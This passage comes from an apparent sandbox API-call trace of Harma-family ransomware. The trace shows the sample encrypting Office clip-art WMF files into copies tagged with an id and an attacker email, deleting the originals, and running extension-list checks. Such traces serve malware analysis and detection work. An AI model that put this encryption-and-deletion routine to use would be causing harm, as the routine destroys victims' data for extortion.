lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xd16, lpOverlapped=0x0) returned 1 [0146.371] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0146.372] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.372] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0146.372] SetEndOfFile (hFile=0x218) returned 1 [0146.372] CloseHandle (hObject=0x218) returned 1 [0146.372] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.372] SetEndOfFile (hFile=0x354) returned 1 [0146.374] CloseHandle (hObject=0x354) returned 1 [0146.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0146.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.375] lstrlenW (lpString=".doc") returned 4 [0146.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.375] lstrlenW (lpString=".docx") returned 5 [0146.375] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0146.375] lstrlenW (lpString=".pdf") returned 4 [0146.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.375] lstrlenW (lpString=".xls") returned 4 [0146.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.376] lstrlenW (lpString=".xlsx") returned 5 [0146.376] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0146.376] lstrlenW (lpString=".ppt") returned 4 [0146.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString=".zip") returned 4 [0146.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.376] lstrlenW (lpString=".rar") returned 4 [0146.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString=".bz2") returned 4 [0146.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString=".7z") returned 3 [0146.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString=".dbf") returned 4 [0146.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString=".1cd") returned 4 [0146.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString=".jpg") returned 4 [0146.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.376] lstrlenW (lpString=".doc") returned 4 [0146.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.376] lstrlenW (lpString=".docx") returned 5 [0146.376] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0146.376] lstrlenW (lpString=".pdf") returned 4 [0146.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString=".xls") returned 4 [0146.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.377] lstrlenW (lpString=".xlsx") returned 5 [0146.377] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0146.377] lstrlenW (lpString=".ppt") returned 4 [0146.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.377] lstrlenW (lpString=".zip") returned 4 [0146.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.377] lstrlenW (lpString=".rar") returned 4 [0146.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString=".bz2") returned 4 [0146.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString=".7z") returned 3 [0146.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.377] lstrlenW (lpString=".dbf") returned 4 [0146.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.377] lstrlenW (lpString=".1cd") returned 4 [0146.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0146.377] lstrlenW (lpString=".jpg") returned 4 [0146.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.377] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.377] lstrlenW (lpString="BOATINST.WMF") returned 12 [0146.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.378] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=29004) returned 1 [0146.378] CloseHandle (hObject=0x354) returned 1 [0146.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0146.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.379] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.379] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.381] GetLastError () returned 0x0 [0146.381] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x714c, lpOverlapped=0x0) returned 1 [0146.383] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7150, lpOverlapped=0x0) returned 1 [0146.385] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.385] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.385] SetEndOfFile (hFile=0x218) returned 1 [0146.385] CloseHandle (hObject=0x218) returned 1 [0146.385] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.385] SetEndOfFile (hFile=0x354) returned 1 [0146.388] CloseHandle (hObject=0x354) returned 1 [0146.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.388] lstrlenW (lpString=".doc") returned 4 [0146.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString=".docx") returned 5 [0146.389] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0146.389] lstrlenW (lpString=".pdf") returned 4 [0146.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString=".xls") returned 4 [0146.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.389] lstrlenW (lpString=".xlsx") returned 5 [0146.389] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0146.389] lstrlenW (lpString=".ppt") returned 4 [0146.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.389] lstrlenW (lpString=".zip") returned 4 [0146.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.389] lstrlenW (lpString=".rar") returned 4 [0146.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString=".bz2") returned 4 [0146.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString=".7z") returned 3 [0146.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.389] lstrlenW (lpString=".dbf") returned 4 [0146.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString=".1cd") returned 4 [0146.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString=".jpg") returned 4 [0146.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString=".doc") returned 4 [0146.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString=".docx") returned 5 [0146.390] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0146.390] lstrlenW (lpString=".pdf") returned 4 [0146.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString=".xls") returned 4 [0146.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.390] lstrlenW (lpString=".xlsx") returned 5 [0146.390] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0146.390] lstrlenW (lpString=".ppt") returned 4 [0146.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString=".zip") returned 4 [0146.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.390] lstrlenW (lpString=".rar") returned 4 [0146.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString=".bz2") returned 4 [0146.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.390] lstrlenW (lpString=".7z") returned 3 [0146.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.390] lstrlenW (lpString=".dbf") returned 4 [0146.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.391] lstrlenW (lpString=".1cd") returned 4 [0146.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0146.391] lstrlenW (lpString=".jpg") returned 4 [0146.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.391] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.391] lstrlenW (lpString="BS00076_.WMF") returned 12 [0146.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.391] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1330) returned 1 [0146.391] CloseHandle (hObject=0x354) returned 1 [0146.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0146.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0146.392] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.392] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0146.393] GetLastError () returned 0x0 [0146.393] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x532, lpOverlapped=0x0) returned 1 [0146.597] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x540, lpOverlapped=0x0) returned 1 [0146.788] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.788] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.788] SetEndOfFile (hFile=0x218) returned 1 [0146.915] CloseHandle (hObject=0x218) returned 1 [0146.915] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.915] SetEndOfFile (hFile=0x354) returned 1 [0146.917] CloseHandle (hObject=0x354) returned 1 [0146.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0147.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.091] lstrlenW (lpString=".doc") returned 4 [0147.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.091] lstrlenW (lpString=".docx") returned 5 [0147.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.092] lstrlenW (lpString=".pdf") returned 4 [0147.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString=".xls") returned 4 [0147.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.092] lstrlenW (lpString=".xlsx") returned 5 [0147.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.092] lstrlenW (lpString=".ppt") returned 4 [0147.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.092] lstrlenW (lpString=".zip") returned 4 [0147.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.092] lstrlenW (lpString=".rar") returned 4 [0147.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString=".bz2") returned 4 [0147.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString=".7z") returned 3 [0147.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.092] lstrlenW (lpString=".dbf") returned 4 [0147.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.092] lstrlenW (lpString=".1cd") returned 4 [0147.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.092] lstrlenW (lpString=".jpg") returned 4 [0147.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.093] lstrlenW (lpString=".doc") returned 4 [0147.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString=".docx") returned 5 [0147.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.093] lstrlenW (lpString=".pdf") returned 4 [0147.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString=".xls") returned 4 [0147.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.093] lstrlenW (lpString=".xlsx") returned 5 [0147.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.093] lstrlenW (lpString=".ppt") returned 4 [0147.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.093] lstrlenW (lpString=".zip") returned 4 [0147.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.093] lstrlenW (lpString=".rar") returned 4 [0147.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString=".bz2") returned 4 [0147.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString=".7z") returned 3 [0147.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.093] lstrlenW (lpString=".dbf") returned 4 [0147.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.093] lstrlenW (lpString=".1cd") returned 4 [0147.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0147.093] lstrlenW (lpString=".jpg") returned 4 [0147.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.094] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.094] lstrlenW (lpString="BS00100_.WMF") returned 12 [0147.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.096] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2378) returned 1 [0147.096] CloseHandle (hObject=0x20c) returned 1 [0147.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0147.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.097] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.097] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.100] GetLastError () returned 0x0 [0147.100] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x94a, lpOverlapped=0x0) returned 1 [0147.102] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x950, lpOverlapped=0x0) returned 1 [0147.103] ReadFile (in: hFile=0x20c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0147.103] WriteFile (in: hFile=0x338, lpBuffer=0x3b00020*, 